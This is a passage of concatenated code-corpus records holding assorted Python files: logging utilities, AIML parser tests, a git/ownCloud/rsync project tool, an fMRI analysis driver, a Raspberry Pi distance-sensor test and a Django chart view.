'+str(gmean(list(location2))))\n\n \n","sub_path":"Setje-Eilers/ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"90953312","text":"import os\nimport torch\nimport csv\nfrom misc import bcolors\nfrom progress.bar import Bar\nimport time\nimport sys\n\nclass SummaryStore():\n def __init__(self):\n self.ite_mean = 0\n self.ep_mean = 0\n self.iters = 0\n self.ep_iters = 0\n\n def __call__(self, value):\n self.ite_mean = (self.ite_mean * self.iters + value)/(self.iters+1)\n self.iters+=1\n\n self.ep_mean = (self.ep_mean * self.ep_iters + value)/(self.ep_iters+1)\n self.ep_iters += 1\n\n def iter_mean(self):\n mean = self.ite_mean\n self.ite_mean = 0\n self.iters = 0\n return mean\n\n def epoch_mean(self):\n mean = self.ep_mean\n self.ite_mean = 0\n self.iters = 0\n self.ep_mean = 0\n self.ep_iters = 0\n return mean\n\nclass AverageStore(object):\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\n def __call__(self, val, n=1):\n self.update(val, n=1)\n\nclass SummaryPrint():\n def __init__(self, args, names, log_dir, log_name='train', color=bcolors.OKGREEN):\n self.names = names\n self.stores = [AverageStore() for name in names]\n \n #write arguments to log\n self.argslog = open(os.path.join(log_dir, 'args_log_'+log_name+'.txt'),'w')\n self.argslog.write(str(args))\n self.argslog.close()\n\n #csv log\n self.log = open(os.path.join(log_dir, log_name+'_log.csv'),'w')\n self.csv_logger=csv.writer(self.log, delimiter=';', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n self.csv_logger.writerow(names)\n self.color=color\n\n self.format_str = '({0[0]}/{0[1]}) | Data: {0[2]:0.03f} | Batch: {0[3]:0.03f}'\n for i, name in enumerate(names):\n self.format_str += ' | %s: {0[%d]:0.5f}'%(name, i+4)\n self.data_time = AverageStore()\n self.batch_time = AverageStore()\n\n def __del__(self):\n self.close()\n\n def __call__(self, values):\n for store, value in zip(self.stores, values):\n store(value)\n\n def reset(self):\n self.data_time.reset()\n self.batch_time.reset()\n for store in self.stores:\n store.reset()\n\n def start_epoch(self, epoch, iters):\n self.iters = iters\n self.epoch = epoch\n #start bar and set init time\n sys.stdout.write(self.color)\n sys.stdout.flush()\n\n self.bar = Bar('epoch: %d'%epoch, max=iters)\n self.time = time.time()\n\n self.reset()\n\n def start_iter(self, i):\n #update time for data\n t = time.time()\n self.data_time.update(t-self.time)\n self.time = t\n\n def end_iter(self, i, values):\n #compute times and update bar\n t = time.time()\n self.batch_time.update(t-self.time)\n self.time = t\n\n #update stores\n for store, value in zip(self.stores, values):\n store.update(value)\n #update print output\n self.bar.suffix = self.format_str.format([i+1, self.iters, self.data_time.avg, self.batch_time.avg] + [store.avg for store in self.stores])\n self.bar.next()\n \n def end_epoch(self, epoch_metrics={}):\n #end the epoch, write averages to the log\n self.bar.finish()\n sys.stdout.write(bcolors.ENDC)\n sys.stdout.flush()\n\n #write to log\n store_list = [self.epoch] + [store.avg for store in self.stores] + [value for name,value in epoch_metrics.items()]\n self.csv_logger.writerow(store_list)\n\n if epoch_metrics:\n print(epoch_metrics)\n\n return store_list\n\n def close(self):\n self.log.close()\n #adding just to make sure we go back to white\n sys.stdout.write(bcolors.ENDC)\n sys.stdout.flush()\n","sub_path":"summary_prints.py","file_name":"summary_prints.py","file_ext":"py","file_size_in_byte":3980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"261271596","text":"import pdb\nimport sys\nfrom utils import Move, JustifyOver, printPebble\nfrom techniques import Alpha_Beta\nfrom nextstep import computer_next_step\n#!/usr/bin/python\n\n\ndef CvsC(computer_A, computer_B, Clever_Stupid, who_s_turn):\n\n d = 4\n# who_s_turn = 'A'\n dict = computer_next_step(computer_A, computer_B, d, Clever_Stupid, who_s_turn)\n next_list = dict['list']\n \n if who_s_turn=='B':\n selected_index = len(next_list) - 1 - dict['index']\n else:\n selected_index = dict['index']\n \n computer_A = next_list[0:len(next_list) / 2]\n computer_B = next_list[len(next_list) / 2 : len(next_list)]\n computer_B.reverse()\n\n return {\n \"computer_B\": computer_B, \n \"computer_A\": computer_A,\n \"selected_index\": selected_index\n }\n","sub_path":"algorithm/ComputerComputer.py","file_name":"ComputerComputer.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"378679323","text":"import unittest\nimport xml.etree.ElementTree as ET\n\nfrom programy.bot import Bot\nfrom programy.brain import Brain\nfrom programy.config import ClientConfiguration, BrainConfiguration\nfrom programy.dialog import Question, Sentence\nfrom programy.parser.template.graph import TemplateGraph\nfrom programy.parser.template.nodes import *\n\n\nclass TemplateGraphRandomTests(unittest.TestCase):\n\n def setUp(self):\n self.parser = TemplateGraph()\n self.assertIsNotNone(self.parser)\n\n self.test_brain = None\n self.test_sentence = Sentence(\"test sentence\")\n self.test_sentence._stars = ['one', 'two', 'three', 'four', 'five', 'six']\n self.test_sentence._thatstars = [\"*\"]\n self.test_sentence._topicstars = [\"*\"]\n\n test_config = ClientConfiguration()\n\n self.test_bot = Bot(Brain(BrainConfiguration()), config=test_config.bot_configuration)\n self.test_clientid = \"testid\"\n\n conversation = self.test_bot.get_conversation(self.test_clientid)\n question = Question.create_from_sentence(self.test_sentence)\n conversation._questions.append(question)\n\n def test_random_template_no_li(self):\n template = ET.fromstring(\"\"\"\n\t\t\t\n\t\t\t\"\"\")\n with self.assertRaises(ParserException):\n ast = self.parser.parse_template_expression(template)\n\n def test_random_template(self):\n template = ET.fromstring(\"\"\"\n\t\t\t\n\t\t\t\"\"\")\n ast = self.parser.parse_template_expression(template)\n self.assertIsNotNone(ast)\n\n self.assertIsNotNone(ast)\n self.assertIsInstance(ast, TemplateNode)\n self.assertIsNotNone(ast.children)\n self.assertIsNotNone(ast.children[0])\n self.assertIsInstance(ast.children[0], TemplateRandomNode)\n self.assertEqual(3, len(ast.children[0].children))\n\n self.assertIsInstance(ast.children[0].children[0], TemplateNode)\n self.assertIsInstance(ast.children[0].children[1], TemplateNode)\n self.assertIsInstance(ast.children[0].children[2], TemplateNode)\n\n selection = ast.children[0].resolve(self.test_bot, self.test_clientid)\n self.assertIsNotNone(selection)\n self.assertIn(selection, ['1', '2', '3'])\n\n def test_random_nested_template(self):\n template = ET.fromstring(\"\"\"\n\t\t\t\n\t\t\t\"\"\")\n ast = self.parser.parse_template_expression(template)\n\n self.assertIsNotNone(ast)\n self.assertIsInstance(ast, TemplateNode)\n self.assertIsNotNone(ast.children)\n self.assertIsNotNone(ast.children[0])\n self.assertIsInstance(ast.children[0], TemplateRandomNode)\n self.assertEqual(2, len(ast.children[0].children))\n\n self.assertIsInstance(ast.children[0].children[0], TemplateNode)\n self.assertEqual(1, len(ast.children[0].children[0].children))\n self.assertIsInstance(ast.children[0].children[0].children[0], TemplateRandomNode)\n self.assertEqual(2, len(ast.children[0].children[0].children[0].children))\n\n self.assertIsInstance(ast.children[0].children[1], TemplateNode)\n self.assertEqual(1, len(ast.children[0].children[1].children))\n self.assertIsInstance(ast.children[0].children[1].children[0], TemplateRandomNode)\n self.assertEqual(2, len(ast.children[0].children[1].children[0].children))\n\n selection = ast.children[0].resolve(self.test_bot, self.test_clientid)\n self.assertIsNotNone(selection)\n self.assertIn(selection, ['Say something', 'Say the other', 'Hello world!', 'Goodbye cruel world'])\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"AIML 2.0/keiffster-program-y/src/test/parser/template/graph/test_random.py","file_name":"test_random.py","file_ext":"py","file_size_in_byte":4001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"219542097","text":"#!/usr/bin/env python\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nimport os\nimport sys\nfrom subprocess import Popen, PIPE, STDOUT\nimport stat\nimport shlex\n\nimport bit.config as config\nimport bit.git as git\nimport bit.owncloud as oc\nimport bit.rsync as rsync\n\nimport multiprocessing as mp\n\ndef worker(call):\n out=Popen(shlex.split(call), stdout=PIPE, stdin=PIPE, stderr=PIPE)\n message=out.communicate()\n out.stdout.close()\n out.stdin.close()\n out.stderr.close()\n try:\n out.kill()\n except:\n pass\n return \"\\n********************\\n\"+call.split(\" \")[-1]+\"\\n\"+message[0]+\"\\n\"+message[1]\n\ndef main():\n\n import argparse\n\n parser = argparse.ArgumentParser(description=\"bit, [b]ermuda [i]nformation [t]riangle.\\\n bit is a git-based tool for the management of code and data. It uses git for code versioning\\\n and ownCloud for storing and exchanging data. It saves storage by avoiding versioning\\\n of data while logging changes in associated git wikis.\",\\\n formatter_class = argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument(\"-i\", \"--input\", nargs='*', help=\"Input files\")\n parser.add_argument(\"-s\", \"--subfolder\", help=\"Subfolder to be created.\", default=None)\n parser.add_argument(\"-m\", \"--message\",nargs='*', help=\"Message to write on log file.\", default=None)\n parser.add_argument(\"-d\", \"--pick_a_date\", help=\"Pick an existing date folder to transfer data to/from. Format=YYYY-MM-DD\", default=None)\n parser.add_argument(\"-c\", \"--create_folder\", help=\"Create dropbox folder for user to upload data.\", action=\"store_true\")\n parser.add_argument(\"-g\", \"--getfolder\", help=\"Downloads a folder as zip file. Requires --pick_a_date. Defaults base_folder=upload:download to download\", action=\"store_true\")\n parser.add_argument(\"-t\", \"--days_to_share\", help=\"Number of days you wish to share this folder further.\", default=21)\n parser.add_argument(\"--issue\", help=\"Issue to comment on with --message and owncloud data links\", default=None)\n parser.add_argument(\"--scripts\",help=\"Needs -i and -m. Simultaneously sync the scripts.user folder when uploading data.\", action=\"store_true\")\n parser.add_argument(\"--start\", help=\"Project name of the format. PI_PROJECT_NAME. Initiates a project. This will create the required local folders and respective git repositories.\", default=None)\n parser.add_argument(\"--stdfolders\",nargs='*', help=\"Folders to be created in addition to scripts.user and and wiki.user when a project is started.\", default=[\"tmp\",\"slurm_logs\"])\n parser.add_argument(\"--adduser\",help=\"Add a user to a project creating his scripts.user and wiki.user folder\",action=\"store_true\")\n parser.add_argument(\"--sync\", nargs='*', help=\"Files or folders to syncronize with remote server using rsync over ssh.\",default=None)\n parser.add_argument(\"--sync_to\", help=\"Destination server to sync to in the form: @\", default=None)\n parser.add_argument(\"--sync_from\", help=\"Destination server to sync from in the form: @\", default=None)\n parser.add_argument(\"--cpus\",help=\"Number of CPUs/channels to open for rsync.\", default=1)\n parser.add_argument(\"--forceRemote\", help=\"If syncing from or to a remoter server force the import of a remote 'bit_config'.\", action=\"store_true\")\n parser.add_argument(\"--gitnossh\", help=\"Use password instead of git SSH keys.\", action=\"store_false\")\n parser.add_argument(\"--config\", help=\"Generate a config file.\", action=\"store_true\")\n args = parser.parse_args()\n\n if args.sync:\n if args.sync_to:\n calls=rsync.rsync_to(args.sync_to, args.sync, forceImport=args.forceRemote, \\\n sync_to=True, sync_from=False)\n elif args.sync_from:\n calls=rsync.rsync_from(args.sync_from, args.sync, forceImport=args.forceRemote, \\\n sync_to=False, sync_from=True)\n\n pool=mp.Pool(int(args.cpus))\n\n funclist=[]\n for call in calls:\n out=pool.apply_async(worker,[call])\n funclist.append(out)\n results=[]\n for ff in funclist:\n res=ff.get()\n print(res)\n results.append(res)\n\n if args.config:\n print(\"Setting up your config file.\")\n sys.stdout.flush()\n config.make_bitconfig()\n sys.exit(0)\n\n # initate a project\n if args.start:\n configdic=config.read_bitconfig()\n for r in config.start_reqs:\n if r != \"user_group\":\n while configdic[r] == None:\n configdic=config.check_reqs([r],configdic,config_file=None, gitssh=None)\n local_path=os.path.abspath(configdic[\"local_path\"])\n code_path=os.path.abspath(configdic[\"code_path\"])\n automation_path=os.path.abspath(configdic[\"automation_path\"])\n full_path=os.path.abspath(args.start)\n if code_path in full_path:\n full_path=full_path.split(code_path)[-1]\n full_path=f\"{local_path}{full_path}\"\n project_name=os.path.basename(full_path)\n path_to_code=os.path.join( code_path, \"/\".join(full_path.rsplit(\"/\",2)[-2:]) )\n path_to_automation=os.path.join( automation_path, \"/\".join(full_path.rsplit(\"/\",2)[-2:]) )\n\n\n # check format projects_folder/group_head/project_name\n if ( full_path.rsplit(\"/\",2)[0] != local_path ) and ( path_to_automation.rsplit(\"/\",2)[0] != automation_path ) and (full_path.rsplit(\"/\",2)[0] != code_path ):\n print(\"The path (%s) to this project does not obey the structure and/or defined local path (%s / %s). Check the reference structure:\\n%s\" \\\n %(full_path,path_to_automation,code_path ,config.structure) )\n sys.stdout.flush()\n sys.exit(0)\n\n # have the user rechecking that the the string for the project name is really correct\n checks=None\n while checks not in [\"Y\",\"N\"]:\n checks=str(input(\"Is the label %s in agreement with the structure PF_project_name where PF stands for the initials of the Parent_Folder? (Y/N) \" \\\n %project_name )) or None\n if checks==\"N\":\n sys.exit(0)\n\n # create the repo\n github_api=config.get_github_api(configdic[\"github_address\"])\n # github_api=github_api+configdic[\"github_organization\"]+\"/repos\"\n # create_call=[\"curl\",\"-u\",configdic[\"github_user\"]+\":\"+configdic[\"github_pass\"]\\\n # ,github_api,\"-d\",'{\"name\":\"'+project_name+'\",\"private\": true,\\\n # \"auto_init\": true }']\n\n # p = Popen(create_call, stdout=PIPE, stdin=PIPE, stderr=STDOUT)\n # print(p.communicate()[0].decode('utf-8').rstrip())\n # sys.stdout.flush()\n\n response = git.make_github_repo(github_api, project_name, configdic)\n response = git.make_github_issue(github_api, project_name, project_name, configdic, configdic[\"github_user\"] )\n response = git.make_github_card(response, github_api, configdic, \"77\")\n\n # !!removing the need for wiki!!\n # clone the repo and the wiki by initiating this user\n #input(\"\\n\\n*************\\n\\nPlease go to %s/%s/%s/wiki and click on 'Create the first page' and then 'Save Page'.\\n\\nPress Enter once you have saved the first wiki page.\\n\\n*************\\n\\n\" \\\n #%(configdic[\"github_address\"],configdic[\"github_organization\"],project_name) )\n\n config.init_user(full_path,path_to_automation,path_to_code,configdic[\"github_address\"],configdic[\"github_organization\"],\\\n project_name,github_user=configdic[\"github_user\"],\\\n github_pass=configdic[\"github_pass\"],gitssh=args.gitnossh)\n\n # create additional folders\n for f in args.stdfolders:\n if not os.path.exists(full_path+\"/\"+f):\n os.makedirs(full_path+\"/\"+f)\n\n # if configdic[\"user_group\"]:\n # user_group=configdic[\"user_group\"].split(\",\")\n # try:\n # for u in user_group:\n # for p in full_path, path_to_code, path_to_automation :\n # call=[\"setfacl\",\"-m\",f\"u:{u}:rwx\" , p]\n # out=Popen(call, stdout=PIPE, stdin=PIPE, stderr=STDOUT)\n # prt=str(out.communicate()[0].decode('utf-8').rstrip())\n # if prt:\n # print(prt)\n # sys.stdout.flush()\n # except:\n # print(\"Failed to setfacls.\")\n # sys.stdout.flush()\n # else:\n os.chmod(full_path, stat.S_IRWXU)\n\n # local_path_owner=os.stat(local_path)\n # local_path_owner=local_path_owner.st_uid\n #os.chown(full_path,local_path_owner,-1)\n\n sys.exit(0)\n\n if args.adduser:\n configdic=config.read_bitconfig()\n for r in config.start_reqs:\n while configdic[r] == None:\n configdic=config.check_reqs([r],configdic,config_file=None, gitssh=args.gitnossh )\n local_path=os.path.abspath(configdic[\"local_path\"])\n automation_path=os.path.abspath(configdic[\"automation_path\"])\n code_path=os.path.abspath(configdic[\"code_path\"])\n\n\n if args.start:\n full_path=os.path.abspath(args.start)\n else:\n full_path=os.path.abspath(os.getcwd())\n project_name=os.path.basename(full_path)\n\n path_to_code=os.path.join( code_path, \"/\".join(full_path.rsplit(\"/\",2)[-2:]) )\n path_to_automation=os.path.join( automation_path, \"/\".join(full_path.rsplit(\"/\",2)[-2:]) )\n\n # check format projects_folder/group_head/project_name\n if ( full_path.rsplit(\"/\",2)[0] != local_path ) and ( full_path.rsplit(\"/\",2)[0] != automation_path ) and (full_path.rsplit(\"/\",2)[0] != code_path ) : \n print(\"The path (%s) to this project does not obey the structure and/or defined local path (%s). Check the reference structure:\\n%s\" %(full_path,local_path,config.structure))\n sys.stdout.flush()\n sys.exit(0)\n\n config.init_user(full_path,path_to_automation,path_to_code,configdic[\"github_address\"],configdic[\"github_organization\"],project_name,github_user=configdic[\"github_user\"],github_pass=configdic[\"github_pass\"],gitssh=args.gitnossh)\n sys.exit(0)\n\n if args.input:\n if not args.message:\n print(\"ERROR\\nYou need to use -m to leave a message in the logs.\")\n sys.exit()\n oc.ownCloud_upload(input_files=args.input,message=args.message,gitssh=args.gitnossh,days_to_share=args.days_to_share,scripts=args.scripts,issue=args.issue, subfolder=args.subfolder,pick_a_date=args.pick_a_date)\n sys.exit(0)\n\n if args.create_folder:\n oc.ownCloud_create_folder(gitssh=args.gitnossh,pick_a_date=args.pick_a_date,days_to_share=args.days_to_share)\n sys.exit(0)\n\n if args.getfolder:\n if not args.pick_a_date:\n print(\"--getfolder implies --pick_a_date.\\nPlease use -d in combination with -g.\\nThank you!\")\n sys.exit(0)\n oc.ownCloud_download(gitssh=args.gitnossh,pick_a_date=args.pick_a_date)\n sys.exit(0)\n\n sys.exit(0)\n","sub_path":"bit/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":11155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"607640190","text":"#!/bin/env python\n\n################################################################################\n# Global imports\n################################################################################\nimport os\nimport sys\nimport time\n\n################################################################################\n# Parameters\n################################################################################\n\nnetwork_types = ['between_network', 'within_network', 'full_network']\nwindow_types = ['non-sliding', 'sliding']\ndata_analysis_types = ['BOLD', 'synchrony', 'graph_analysis']\ngroup_analysis_types = ['hutchenson', 'ttest', '1ANOVA']\nanalysis_types = ['rest', 'task']\nica_aroma_types = ['aggr', 'nonaggr', 'no_ica']\n\n############################################################################\n# Argument parsing\n############################################################################\n# This needs to be first, because even path settings depend on the\n# parameters passed to the command line.\nfrom argparse import ArgumentParser\nparser = ArgumentParser(\n description='Analyse the subjects.'\n)\n# Analysis type\nparser.add_argument(\n '--analysis-type', required=True,\n dest='analysis_type', metavar='ANALYSIS_TYPE',\n choices=analysis_types,\n help='Analysis type. Choose from: ' + ', '.join(analysis_types)\n)\nparser.add_argument(\n '-c' '--golden-subjects',\n action='store_true', dest='golden_subjects',\n help='Perform analysis with subset of healthy subjects'\n)\n# Number of subjects\nparser.add_argument(\n '-n', '--nsubjects',\n type=int, dest='nsubjects', metavar='NSUBJECTS', default=None,\n help='Number of healthy and schizophrenic subjects.'\n)\n# Possible activities/phases\nparser.add_argument(\n '-p', '--preprocess',\n action='store_true', dest='preprocess',\n help='Perform pre-processing of the data.'\n)\nparser.add_argument(\n '-w', '--extract_csf_wm', dest='extract_csf_wm',\n action='store_true',\n help='Perform extraction of CSF and WM'\n)\nparser.add_argument(\n '-r', '--extract_roi',\n action='store_true', dest='extract_roi',\n help='Perform ROI extraction.'\n)\nparser.add_argument(\n '-a', '--analyse-data',\n action='store_true', dest='analyse_data',\n help='Perform data analysis.'\n)\nparser.add_argument(\n '-g', '--analyse-data-group',\n action='store_true', dest='analyse_data_group',\n help='Perform group data analysis.'\n)\n# Options to pass to phases\n# Note: Not all options apply to all phases.\nparser.add_argument(\n '--network-type',\n dest='network_type', metavar='NETWORK_TYPE',\n choices=network_types,\n help='Network type. Choose from: ' + ', '.join(network_types)\n)\nparser.add_argument(\n '--window-type',\n dest='window_type', metavar='WINDOW_TYPE',\n choices=window_types,\n help='Window type. Choose from: ' + ', '.join(window_types)\n)\nparser.add_argument(\n '--data-analysis-type',\n dest='data_analysis_type', metavar='DATA_ANALYSIS_TYPE',\n choices=data_analysis_types,\n help='Data analysis type. Choose from: ' + ', '.join(data_analysis_types)\n)\nparser.add_argument(\n '--nclusters',\n type=int, dest='nclusters', metavar='NCLUSTERS',\n help='Number of clusters to use in data analysis.'\n)\nparser.add_argument(\n '--rand-ind',\n type=int, dest='rand_ind', metavar='RAND_IND',\n help='Random index to use in data analysis (graph_analysis only).'\n)\nparser.add_argument(\n '--group-analysis-type',\n dest='group_analysis_type', metavar='GROUP_ANALYSIS_TYPE',\n choices=group_analysis_types,\n help='Group analysis type. Choose from: ' + ', '.join(group_analysis_types)\n)\nparser.add_argument(\n '--ica_aroma-type',\n dest='ica_aroma_type', metavar='ICA_AROMA_TYPE',\n choices=ica_aroma_types,\n help='ICA aroma type. Chose from: ' + ', '.join(ica_aroma_types)\n)\nparser.add_argument(\n '--glm_denoise',\n dest='glm_denoise',\n action='store_true',\n help='Perfrom denoising with GLM'\n)\nargs = parser.parse_args()\n\n################################################################################\n# Path settings\n################################################################################\n# Base path for all input and output data.\nbase_path = os.path.join(os.path.sep, 'group', 'dynamics', 'scz_dynamics', 'ucla-la5')\nbase_path_in = os.path.join(base_path, 'data_in')\nbase_path_out = os.path.join(base_path, 'data_out', args.analysis_type)\n\n# Pre-processing\n# This folder contains all subjects' folders for the pre-processing phase.\n# FIXME: This has never been tested.\npreprocessing_input_basepath = os.path.join(base_path_in, 'reconall_data')\npreprocessing_output_basepath = os.path.join(base_path_out, 'preprocessing_out')\n# Input image for wm and csf extraction\nreconall_segmented_image_basepath = os.path.join(base_path_in, 'reconall_data')\n\n# ROI extraction\n# Input image for ROI extraction\nroi_input_segmented_image_filename = os.path.join(base_path_in, 'voi_extraction', 'seg_aparc_82roi_2mm.nii.gz')\nroi_input_lookuptable = os.path.join(base_path_in, 'voi_extraction', 'LookupTable')\n# Input region list for ROI extraction\nroi_input_segmented_regions_path = os.path.join(base_path_in, 'voi_extraction')\n# Image where between_network and within_network are specified.\nroi_input_network_filename = os.path.join(base_path_in, 'voi_extraction', 'PNAS_Smith09_rsn10.nii')\nroi_input_basepath = os.path.join(preprocessing_output_basepath, 'temp_filt')\nroi_output_basepath = os.path.join(base_path_out, 'extract_roi')\n\n# Data analysis\ndata_analysis_input_basepath = roi_output_basepath\ndata_analysis_output_basepath = os.path.join(base_path_out, 'data_analysis')\n\n# Group data analysis\ngroup_analysis_input_basepath = data_analysis_output_basepath\ngroup_analysis_output_basepath = os.path.join(base_path_out, 'group_analysis')\n\n# Subjects\n# FIXME: Move to data_in folder.\nsubjects_filename = 'subjects.json'\n\n################################################################################\n# Global logging\n################################################################################\n# Note: This needs to be setup before other local modules are imported and\n# and before any local code is executed.\nimport logging\nlogpath = os.path.join(data_analysis_output_basepath, args.network_type, args.window_type, args.data_analysis_type)\ntimestamp = time.strftime(\"%Y%m%d%H%M%S\")\nlog_filename = os.path.join(logpath, '%s_ucla5_%d.log' %(timestamp, args.nclusters))\nformatter = logging.Formatter('%(message)s')\nlog = logging.getLogger('')\nlog.setLevel(logging.DEBUG)\nfh = logging.FileHandler(log_filename)\nfh.setFormatter(formatter)\nlog.addHandler(fh)\nch = logging.StreamHandler(sys.stdout)\nch.setLevel(logging.INFO)\nch.setFormatter(formatter)\nlog.addHandler(ch)\n\n# logging.basicConfig(filename=log_filename,\n# level=logging.INFO,\n# format='%(message)s',\n# stream=sys.stdout)\n\n################################################################################\n# Local imports\n################################################################################\nfrom subjects import load_subjects\nfrom preprocessing_workflow import preprocessing_pipeline, get_lookuptable\nfrom extract_roi import extract_roi\nfrom data_analysis import data_analysis\nfrom group_analysis_pairwise import group_analysis_pairwise\n\n################################################################################\n# Load subjects.\n################################################################################\n# They must always be loaded, no matter the type of the analysis.\n# Note: If the user didn't specify nsubjects, we take all subjects (still\n# balanced).\nsubjects = load_subjects(subjects_filename, args.golden_subjects, args.nsubjects)\n\n############################################################################\n# Pre-processing\n############################################################################\nif args.preprocess:\n # Note: Preprocessing is only running on the old cluster\n print('Preprocessing')\n preprocessing_pipeline(subjects,\n preprocessing_input_basepath,\n preprocessing_output_basepath,\n )\n\n # extract csf and white matter\n print('Pre-processing.')\n\n############################################################################\n# ROI extraction\n############################################################################\nif args.extract_roi:\n if args.network_type is None:\n parser.error('You must specify: --network_type.')\n\n lookuptable = get_lookuptable(roi_input_lookuptable)\n\n # Extract ROIs.\n extract_roi(subjects,\n args.network_type,\n args.extract_csf_wm,\n args.glm_denoise,\n roi_input_basepath,\n roi_input_segmented_image_filename,\n lookuptable,\n roi_output_basepath,\n args.ica_aroma_type,\n network_mask_filename=roi_input_network_filename)\n\n############################################################################\n# Data analysis\n############################################################################\nif args.analyse_data:\n if args.network_type is None or \\\n args.window_type is None or \\\n args.data_analysis_type is None or \\\n args.nclusters is None or \\\n args.rand_ind is None:\n parser.error('You must specify: ' + \\\n '--network-type, ' + \\\n '--window-type, ' + \\\n '--data-analysis-type, ' + \\\n '--nclusters, ' + \\\n '--rand-ind.')\n\n # Analyse data.\n data_analysis(subjects,\n data_analysis_input_basepath,\n data_analysis_output_basepath,\n args.network_type,\n args.window_type,\n args.data_analysis_type,\n args.ica_aroma_type,\n args.glm_denoise,\n args.nclusters,\n args.rand_ind,\n args.golden_subjects)\n\n\n############################################################################\n# Group analysis\n############################################################################\nif args.analyse_data_group:\n if args.network_type is None or \\\n args.window_type is None or \\\n args.data_analysis_type is None or \\\n args.group_analysis_type is None or \\\n args.nclusters is None or \\\n args.rand_ind is None:\n parser.error('You must specify: ' + \\\n '--network-type, ' + \\\n '--window-type, ' + \\\n '--data-analysis-type, ' + \\\n '--group-analysis-type, ' + \\\n '--nclusters, ' + \\\n '--rand-ind.')\n\n group_analysis_pairwise(subjects,\n group_analysis_input_basepath,\n group_analysis_output_basepath,\n args.network_type,\n args.window_type,\n args.data_analysis_type,\n args.group_analysis_type,\n args.nclusters,\n args.rand_ind)\n\n# remember to close the handlers\nfor handler in log.handlers:\n handler.close()\n log.removeFilter(handler)","sub_path":"code/main_analysis.py","file_name":"main_analysis.py","file_ext":"py","file_size_in_byte":11396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"353425358","text":"import time\nimport VL53L0X\nimport RPi.GPIO as GPIO\n\n# GPIO for left sensor shutdown pin\nleft = 20\n# GPIO for right shutdown pin\nright = 16\n#GPIO for forward shutdown pin\nforward = 21\n\nGPIO.setwarnings(False)\n\n# Setup GPIO for shutdown pins on each VL53L0X\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(left, GPIO.OUT)\nGPIO.setup(right, GPIO.OUT)\nGPIO.setup(forward, GPIO.OUT)\n\n\n# Set all shutdown pins low to turn off each VL53L0X\nGPIO.output(left, GPIO.LOW)\nGPIO.output(right, GPIO.LOW)\nGPIO.output(forward, GPIO.LOW)\n\n# Keep all low for 500 ms or so to make sure they reset\ntime.sleep(0.50)\n\n# Create one object per VL53L0X passing the address to give to\n# each.\ntof_left = VL53L0X.VL53L0X(address=0x2B)\ntof_right = VL53L0X.VL53L0X(address=0x2D)\ntof_forward = VL53L0X.VL53L0X(address=0x29)\n\n# Set shutdown pin high for the first VL53L0X then \n# call to start ranging \nGPIO.output(left, GPIO.HIGH)\ntime.sleep(0.50)\ntof_left.start_ranging(VL53L0X.VL53L0X_BETTER_ACCURACY_MODE)\n\n# Set shutdown pin high for the second VL53L0X then \n# call to start ranging \nGPIO.output(right, GPIO.HIGH)\ntime.sleep(0.50)\ntof_right.start_ranging(VL53L0X.VL53L0X_BETTER_ACCURACY_MODE)\n\n# Set shutdown pin high for the first VL53L0X then \n# call to start ranging \nGPIO.output(forward, GPIO.HIGH)\ntime.sleep(0.50)\ntof_forward.start_ranging(VL53L0X.VL53L0X_BETTER_ACCURACY_MODE)\n\ntiming = tof_left.get_timing()\nif (timing < 20000):\n timing = 20000\nprint (\"Timing %d ms\" % (timing/1000))\n\nfor count in range(1,101):\n left_distance = tof_left.get_distance()\n if (left_distance > 0):\n print (\"left distance in mm is %d mm\" % left_distance)\n else:\n print (\"%d - Error\" % tof_left.my_object_number)\n\n right_distance = tof_right.get_distance()\n if (right_distance > 0):\n print (\"right distance in mm is %d mm\" % right_distance)\n else:\n print (\"%d - Error\" % tof_right.my_object_number)\n \n forward_distance = tof_right.get_distance()\n if (forward_distance > 0):\n print (\"forward distance in mm is %d mm\" % forward_distance)\n else:\n print (\"%d - Error\" % tof_forward.my_object_number)\n\n time.sleep(timing/1000000.00)\n\ntof_left.stop_ranging()\nGPIO.output(left, GPIO.LOW)\n\ntof_right.stop_ranging()\nGPIO.output(right, GPIO.LOW)\n\ntof_forward.stop_ranging()\nGPIO.output(forward, GPIO.LOW)\n","sub_path":"Initial_Sensor_Tests/distance_test.py","file_name":"distance_test.py","file_ext":"py","file_size_in_byte":2319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"556126979","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom rest_framework.views import APIView\n\nimport json\nfrom datetime import timedelta, date\nimport datetime\nfrom pyecharts.charts import Sunburst, BMap, Line, WordCloud, Pie, Calendar, Bar, Grid, Funnel\nfrom pyecharts.globals import SymbolType, GeoType, ThemeType\nfrom pyecharts import options as opts\n\nfrom event.models import Street, Event, Property, Achieve, Type\nfrom .charts import Charts\n\nBAIDU_MAP_AK = 'X3ATCKQWRjRxLNLI1Wv9NiTMFAa5bh8W'\nproperties = Property.objects.all()\nstreet_list = Street.objects.all()\n\nclass IndexView(APIView):\n def get(self, request, *args, **kwargs):\n charts = Charts()\n context = {\n \"properties\": properties,\n \"streets\": street_list,\n 'pie_chart': charts.pie,\n 'line_charts': charts.get_line(),\n 'sunburst_chart': charts.sunburst,\n 'map_chart': charts.map,\n 'calendar_chart': charts.calendar,\n 'wordcloud_chart': charts.wordcloud,\n 'cur_page': \"charts\",\n 'bar_chart': charts.bar,\n 'funnel_chart': charts.funnel_base()\n }\n return render(request, 'chart/charts.html', 